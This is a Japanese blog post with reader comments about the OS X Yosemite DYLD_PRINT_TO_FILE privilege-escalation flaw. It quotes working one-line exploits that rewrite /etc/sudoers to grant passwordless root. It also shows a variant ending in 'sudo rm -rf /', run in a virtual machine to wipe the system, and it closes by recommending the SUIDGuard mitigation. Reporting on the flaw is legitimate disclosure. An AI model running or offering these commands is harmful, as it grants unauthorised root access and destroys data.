OS X 10.10.4までに存在する権限昇格の脆弱性を使用してYosemiteを「rm -rf /」してみました。詳細は以下から。
ドイツのセキュリティ企業"SektionEins"がOS X Yosemiteのdynamic linker dyldに非rootユーザーがroot権限を使用できる権限昇格の脆弱性が存在すると発表し、多くの関連した話題が報じられてきましたが、
関連記事
- OS X YosemiteのDYLD_PRINT_TO_FILEに権限昇格の脆弱性が発見され、OS X 10.10.4でも実行可能なExploit Codeも公開される
- OS X YosemiteのDYLD_PRINT_TO_FILEに存在する権限昇格脆弱性を利用して、1行でsudoersファイルを書換え誰もがrootユーザー昇格できる実行コードが考案される
- OS X 10.10 DYLD_PRINT_TO_FILE Local Privilege Escalation Vulnerability
- Get root on an OS X 10.10 Mac: The exploit is so trivial it fits in a tweet - The Register
- Bug in latest version of OS X gives attackers unfettered root privileges - Ars Technica
特にクリティカルなのが以下の1 Line Codeでこのコードを使用すれば誰もがrootユーザーでのコマンドを実行できます。
Stefan Esser@i0n1c
echo 'echo &vquot;$(whoami) ALL=(ALL) NOPASSWD:ALL&vquot; >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s # via reddit: numinit (shorter)
2015/07/22 14:33:28
Stefan Esser@i0n1c
echo python -c '&vquot;import os;os.write(3,\&vquot;ALL ALL=(ALL) NOPASSWD: ALL\&vquot;)&vquot;'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su # via reddit lsdhobo
2015/07/22 14:18:04
echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
この記事をまとめたところ、コメント欄で「sudo の後に rm -rf / が無いだけ良かった」というアイデアを頂きましたので早速実験してみました。
Appleちゃんねる@applechinfo
OS X YosemiteのDYLD_PRINT_TO_FILEに存在する権限昇格脆弱性を利用して、1行でsudoersファイルを書換え誰もがrootユーザー昇格できる実行コードが考案され http://t.co/bUQdrdIzZ9 http://t.co/wvvgrZr79v
2015/07/23 08:20:16
実験
実験にはParallels DesktopにインストールしたOS X 10.10.2 Yosemiteを使用しています(OS Xのバージョンが10.10.2なのは他の実験に使用していたからで、10.10.4でも実行可能だと思われます)。実行した1 Line Codeは以下の通りで、実行するとrootパスワードも聞かれずルートディレクトリを消去、
echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo rm -rf /
rmコマンドは以下の動画のように数分で終了(参考その2)。
コマンド終了後Parallels Desktop側でYosemiteの仮想環境を強制的にRebootすると以下の様にBootが失敗します。
その後リカバリーパティッションが起動し、ネットワーク経由でOS X Yosemiteの再インストールが始まります。
既に多くの開発者やセキュリティ研究家がこの脆弱性をAppleに報告しているようですが、Appleはこの脆弱性を数ヶ月間放置しているという噂もあるため、修正はOS X 10.10.5以降になると思われるので、逸早く対応したい方はSUIDGuardの使用をお勧めします。
関連リンク:
コメント一覧
>>1.-
Apple7743
-
2015年07月23日 22:01 ID:qH8cTScO0
-
MacってFreeBSDに手を加えすぎて脆弱になってるよね。。。
>>2.-
Apple7743
-
2015年07月23日 22:42 ID:DxaARPeu0
-
元々のUNIXに、Macらしい使い勝手部分をカスタマイズするだけで
余計なことは一切しない方がセキュリティ的には良かった気がする。
むしろアップル社の開発能力的にも、現状でも限界がきているような感じですね。
>>3.-
Apple7743
-
2015年07月23日 23:00 ID:XpIt9y4n0
-
元々UNIXベースだったとしても、細かい電源管理からGPUのドライブ、ネットワークスタックまできちんとやろうと思うと、独自部分が増えるのはしょうがないかな。そもそもMachカーネル自体が派生版なんだし…
ただそこを直すというか、ある程度、もう少し寄り添ってもいい気はする。ファイルシステムをZFSにしたり。(iOSとは乖離が大きくなるかもしれないが)
コメントを書き込む